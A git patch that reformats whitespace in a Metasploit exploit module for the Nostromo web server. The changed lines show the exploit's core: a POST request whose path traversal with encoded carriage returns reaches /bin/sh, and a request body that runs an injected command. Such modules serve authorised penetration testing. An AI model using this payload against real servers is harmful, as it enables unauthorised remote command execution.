From 0531dd7bb91f3fb21e3864c86816e4b18e5b1c81 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 29 Oct 2019 12:28:39 +0100 Subject: [PATCH] Hash rocket alignment. --- modules/exploits/multi/http/nostromo_code_exec.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/nostromo_code_exec.rb b/modules/exploits/multi/http/nostromo_code_exec.rb index 1c2fb43c67..d79d78a17b 100644 --- a/modules/exploits/multi/http/nostromo_code_exec.rb +++ b/modules/exploits/multi/http/nostromo_code_exec.rb @@ -83,10 +83,10 @@ class MetasploitModule < Msf::Exploit::Remote def execute_command(cmd, opts = {}) send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, '/.%0d./.%0d./.%0d./.%0d./bin/sh'), + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/.%0d./.%0d./.%0d./.%0d./bin/sh'), 'headers' => {'Content-Length:' => '1'}, - 'data' => "echo\necho\n#{cmd} 2>&1" + 'data' => "echo\necho\n#{cmd} 2>&1" } ) end